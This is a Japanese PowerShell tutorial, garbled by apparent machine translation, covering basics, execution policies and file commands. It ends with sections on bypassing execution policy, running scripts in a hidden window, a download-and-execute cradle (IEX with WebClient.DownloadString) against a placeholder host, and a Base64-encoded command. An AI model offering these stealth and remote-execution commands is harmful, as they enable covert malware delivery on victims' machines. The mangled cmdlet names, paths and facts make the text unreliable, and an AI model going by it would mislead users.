#PowerShellはどのようなものです:
Windows PowerShellは、コマンドラインユーザとスクリプト作成者は、.NET Frameworkののパワーを使用することができますことができますコマンドラインシェルおよびスクリプト環境です。PowerShellは、コマンドでプロンプトより高度なバージョン。次のようなタスクを実行するために使用されているping
か、copy
外部プログラムと同様に、かつ自動的に実行することができないcmd.exe
さまざまなシステム管理タスクへのアクセス。
CMD差のPowerShell:
パワーシェル | プロンプトコマンド |
---|---|
これは、タスクベースのコマンドラインインターフェイスおよび.NET Frameworkの自動化に関連したスクリプト言語に基づいています。 | これは、Microsoft Windowsオペレーティングシステムのデフォルトのコマンドラインインタプリタです。 |
これは、バッチおよびPowerShellのコマンドによって説明することができます。 | それだけでバッチコマンドを説明することができます。 |
Windowsサーバーと自動化、およびWindowsオペレーティング・システム上のアプリケーションを制御するために使用されます。 | 問題のデバッグに使用することができます与えられたコマンドを実行するために、コンソール上で使用されています。 |
PowerShellは、出力文字列を生成し、オブジェクトのコレクションですされていません。 | のみ生成された出力コマンドプロンプト文字列(テキスト)。 |
これは、Windowsオペレーティングシステムを管理するために使用される大きなファイルの作成をサポートしているシェルプログラムは、環境をスクリプトです。 | これは、ユーザーがバッチファイルを実行するだけで、シンプルで基本的なスクリプトを実行することを可能にするだけでシェルのシステムです。 |
PowerShellは、bashのシェルと比較します。
パワーシェル | バッシュシェル |
---|---|
PowerShellは、ほとんどのWindowsオペレーティングシステムおよび関連するコマンドシェルスクリプト言語です。 | bashは、ほとんどのLinuxオペレーティングシステムのコマンドシェルプログラミングやスクリプト言語です。 |
PowerShellは、2006年に立ち上げました。 | バッシュシェルは1989年に立ち上げました。 |
対象として、入力と出力のそれを。 | それは、常にテキスト構造として、入力と出力を受け入れています。 |
ユーザインタフェースは、CLIインタフェースグラフィカルPowerShellコマンドラインです。 | バッシュシェルユーザーインターフェイスは、テキストベースのコマンドラインインターフェイスです。 |
これは、Windowsの窓97以上のバージョンで実行することができます。 | LinuxおよびUNIXオペレーティング・システムのための主要な準備。 |
第二に、どのようにPowerShellを開くには:
1、Windowsのの下部にある検索で、直接検索を開きます
図2に示すように、プレス勝利+ R入力開口のPowerShell
3、コンピュータを開いて、ファイルの左上をクリックし、開いたPowerShellを見つけます
4は、あなたが、ファイルを開くShiftキーを押しながら+マウスの右ボタンとオープンPowerShellを選択する必要がパスに素早くPowerShellでファイルパスを開くことができます
三、PowerShellのよく使用するコマンド:
コマンドPowerShellでは、中に「N + V」の形をとります
取得-動詞:動詞を参照、取得するホスト:ヘルプ、バージョンを表示:1、ヘルプを参照してください
D PS:\研究> ヘルプ トピック のWindows PowerShellのヘルプシステム の短い記述 のWindows PowerShellコマンドレットとの概念に関する表示ヘルプ。 詳細説明 「Windows PowerShellのヘルプは、」Windows PowerShellのコマンドレット、説明 機能、スクリプトやモジュールを、と説明し た言語とWindows PowerShellの他の要素の概念を。 Windows PowerShellは、ヘルプファイルに含まれていませんが、あなたは、オンラインで見ることができます ヘルプトピックを、またはアップデートを使用する - Helpコマンドレットのヘルプファイルがダウンロードされます コンピューターにし、コマンドラインを取得使用 - ヘルプ表示するには、Helpコマンドレットを トピックを。 また、アップデートを使用することができます - ダウンロードHelpコマンドレットサイト、それらに更新されたヘルプファイルをリリースしたときに 、このように、ローカルのヘルプコンテンツは、スタイルの外に行くことは決してありません。 ヘルプファイルがなければ、取得 - コマンドレットのヘルプ情報が表示されるのは、自動的に生成された ヘルパー関数やスクリプトを。 オンラインヘルプ あなたは、TechNetのライブラリで、Windows PowerShell用のオンラインヘルプ、見つけることができます :HTTPで利用可能 //go.microsoft.com/fwlink/?LinkID=108518を。 オンラインヘルプのいずれかに関連するコマンドレットまたは関数を開くには、タイプ: 取得 -Help <コマンドレット名> - オンライン -より-
PS D:\研究> GET- ホスト 名:ConsoleHost バージョン: 5.1.17763.1007 のInstanceId:b17b657c -366a-4efa-a95f- a4ba89884117 UI:System.Management.Automation.Internal.Host.InternalHostUserInterface のCurrentCulture:ZH - CN CurrentUICultureの:ZH - CN PrivateData:Microsoft.PowerShell.ConsoleHost + ConsoleColorProxy DebuggerEnabled:真 IsRunspacePushed:Falseの 実行空間:System.Management.Automation.Runspaces.LocalRunspace PS D:\研究 > GET- 動詞 動詞グループ ---- ----- 一般的な追加 をクリアコモン 閉じる一般的な コピーコモンが 共通の入力 を終了コモンが 共通の検索 フォーマットコモンが 共通の取得 を隠すコモンが 共通の参加 ロックコモンが 共通の移動 新しい共通 オープン共通 の最適化一般的な ポップ共通の プッシュコモン やり直し共通の 削除を一般的な 名前の変更共通するのは、 共通のリセット サイズ変更コモン 検索コモン 選択コモン セットの一般的な ショーコモン スキップコモン 分割コモン ステップ共通の スイッチ 共通 の取り消し共通 のロックを解除コモン ウォッチ共通 バックアップデータ チェックポイント・データは、 データの比較 圧縮データ 変換データ ConvertFromデータ をConvertToデータ のマウント解除データ の編集データが データ展開 データのエクスポート グループのデータ のインポートデータ の初期化データ の制限データは、 データをマージ データをパブリッシュ マウントデータを 出力データは、 データの復元 保存データ シンクデータ 非公開データ 更新データは、 ライフサイクル承認 アサートライフサイクル の完全なライフサイクル を確認ライフサイクルは、 ライフサイクル拒否 を無効にするライフサイクルは、 ライフサイクルが有効 ライフインストール 起動ライフサイクル の登録ライフサイクル のリクエストライフサイクル を再起動ライフサイクル 再開ライフサイクル ・スタート・ライフサイクル・ ストップライフサイクルは ライフサイクルが提出 ライフサスペンド アンインストールライフサイクル の登録を解除ライフサイクルを ライフサイクルを待って デバッグ診断を 測定診断 Pingの診断 修理診断 診断解決 テスト診断 トレース診断 接続の通信 を切断コミュニケーションズ 読むコミュニケーションズは、 受信コミュニケーションが コミュニケーション送る 書き込みコミュニケーションズ ブロックセキュリティ グラントセキュリティは セキュリティ保護 取り消しセキュリティ ブロックを解除するセキュリティ プロテクト解除セキュリティ の使用その他
図2は、スクリプトの実行を禁止するPowershellの初期通常の状況下では、PowerShellのポリシーを設定します。スクリプトの実行戦略は、PowerShellのかどうかに依存します。
- ときに実行ポリシー際の制限:
- 戦略を実行する場合AllSigned:
- ときに実行ポリシーは、いつREMOTESIGNED:
- UNRESTRICTED戦略を実行する場合:
- 戦略BYPASSを実行する場合:
- 戦略UNDEFINEDを実行する場合:
C PS:\ Users \ユーザーRIY> [System.Enum] :: によりgetNames([Microsoft.PowerShell.ExecutionPolicy]) #表示スクリプトの実行ポリシー 無制限 RemoteSigned AllSigned 電話制限付き デフォルト バイパス 未定義 PS C:\ Users \ユーザーRIY > GET- ExecutionPolicy #見ます現在のスクリプトの実行ポリシー 電話制限付き PS C:\ Users \ユーザーRIY >セット- ExecutionPolicy無制限の #変更スクリプトの実行ポリシー、PowerShellを開くには、何の管理者権限がないためエラーが発生する 設定 -ExecutionPolicyを:レジストリキー「HKEY_LOCAL_MACHINE \ SOFTWARE \マイクロソフト\ PowerShell用は\ 1 \ ShellIds \ のMicrosoft.PowerShell「アクセスが拒否されました。「管理するために、デフォルト(LOCALMACHINE)実行ポリシーの適用範囲、使用変更するには、 Windows PowerShellを起動するオプションの操作担当者に」。現在のユーザーの実行ポリシーを変更するには、実行します」セットExecutionPolicy -Scope CurrentUserに」。 所在位置行: 1字符:1 +セット- ExecutionPolicy無制限 + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~ + CategoryInfo:PermissionDenied:(:) [セット- ExecutionPolicy]、UnauthorizedAccess 例外 + FullyQualifiedErrorId:System.UnauthorizedAccessException、Microsoft.PowerShell.Command s.SetExecutionPolicyCommand
PowerShellを開くために#を使用する管理者権限 PS Cを:\ WINDOWS \ SYSTEM32>セット- ExecutionPolicy未定義 実行ポリシー変更の 実行ポリシーは、あなたが信頼をないスクリプトを防ぐことができます。以下のようなセキュリティリスク、作成することができます実行ポリシーを変更します :HTTPS /go.microsoft.com/fwlink/?LinkID=135170 about_Execution_Policiesの中に ヘルプトピックを。あなたが実行ポリシーを変更しますか? [Y-]は(Y)である[A]フル(A)[N]いいえ(N)の(L)[S]一時停止(S)に[L]いいえ[?]ヘルプ(既定値"N")として、Y
3、ファイル操作、一般的に使用されるコマンド:
- 新しいキーディレクトリ:新項目-Name「試験」-ItemType「ディレクトリ」
- 新規ファイル:新項目-Name「test.txtの」
- 削除ディレクトリやファイル:削除、項目のtest.txt
- 表示テキスト:取得し、コンテンツのtest.txt
- テキストを設定するにはSet-コンテンツのtest.txt -Value "こんにちは世界
- 追加テキスト:アドインコンテンツのtest.txt -Value「愛の世界」
- クリアテキスト:クリア - コンテンツのtest.txt
D PS:\研究>新項目-Name「テスト」 - itemTypeに「ディレクトリ」 #ディレクトリを作成 ディレクトリをD:\スタディ モードLastWriteTime長名 ---- ------------- - ---- ----- D ----- 2020年3月28日午後12時24分 テスト PSのD:\研究 >新アイテム- 名「test.txtの」 #は、ファイル作成 ディレクトリをD:\研究 モード長名LastWriteTime ---- ------------- ------ ---- -a ---- 2020年3月28日夜12時24 0 test.txtの PS D :\研究 > test.txtのセット内容- 値'Hello Worldの' #は、テキスト設定 PS D:\研究を> GET- コンテンツtest.txtという #表示のテキストコンテンツ のHello World PS D:\研究 >アドオンコンテンツのtest.txt - 値'愛の世界 #のテキストを追加する。 PS D:\研究 > GET- test.txtの内容 Hello Worldの 愛世界 PS D:\研究 > Clear- コンテンツのtest.txt #クリアテキスト PS D:\研究 > GET- test.txtの内容 PS D:\研究 >テストリムーブ項目 #は、ファイルやディレクトリを削除
4、スクリプトを実行するためのローカル権限をバイパス
D PS:\研究> ' " Hello Worldの" '> Test.ps1 PS D:\研究 > \ Test.ps1。 \ Test.ps1 :.ファイルDをロードできませんでした。このため、システム上の\研究\ test.ps1、スクリプトの実行禁止しています。詳細については、以下を参照してください :HTTPS /go.microsoft.com/fwlink/?LinkID=135170をabout_Execution_Policiesに。 場所の行: 1つの文字:1 + \ Test.ps1。 + ~~~~~~~~~~ + CategoryInfo:例外SecurityError:(:) []、PSSecurityException + FullyQualifiedErrorId:UnauthorizedAccess
C:\ WINDOWS \ System32に>たpowershell.exe -ExecutionPolicyバイパス-ファイルtest.ps1 のHello World
5、地方自治体バイパスにスクリプトを実行し、実装を隠し、唯一のスクリプトは、バックグラウンドを実行して見て
たpowershell.exe -WindowStyle隠さ-ExecutionPolicyバイパス-ファイル test.ps1
バイパス地元のダウンロードに6、PowerShellスクリプトと実行権限を
C:\ WINDOWS \ System32に>たpowershell.exe -ExecutionPolicyバイパス-WindowStyle隠し-noprofile -noni IEX(新オブジェクトNet.WebClient).DownloadString( 'のhttp:// XXXX / test.ps1')
のHello World
PowerShellの7、Base64でエンコードされたコマンド
C:\ WINDOWS \ System32に>たpowershell.exe -EncodedCommand dwBoAG8AYQBtAGkACgA =
ラップトップ -9r39s2hi \ RIY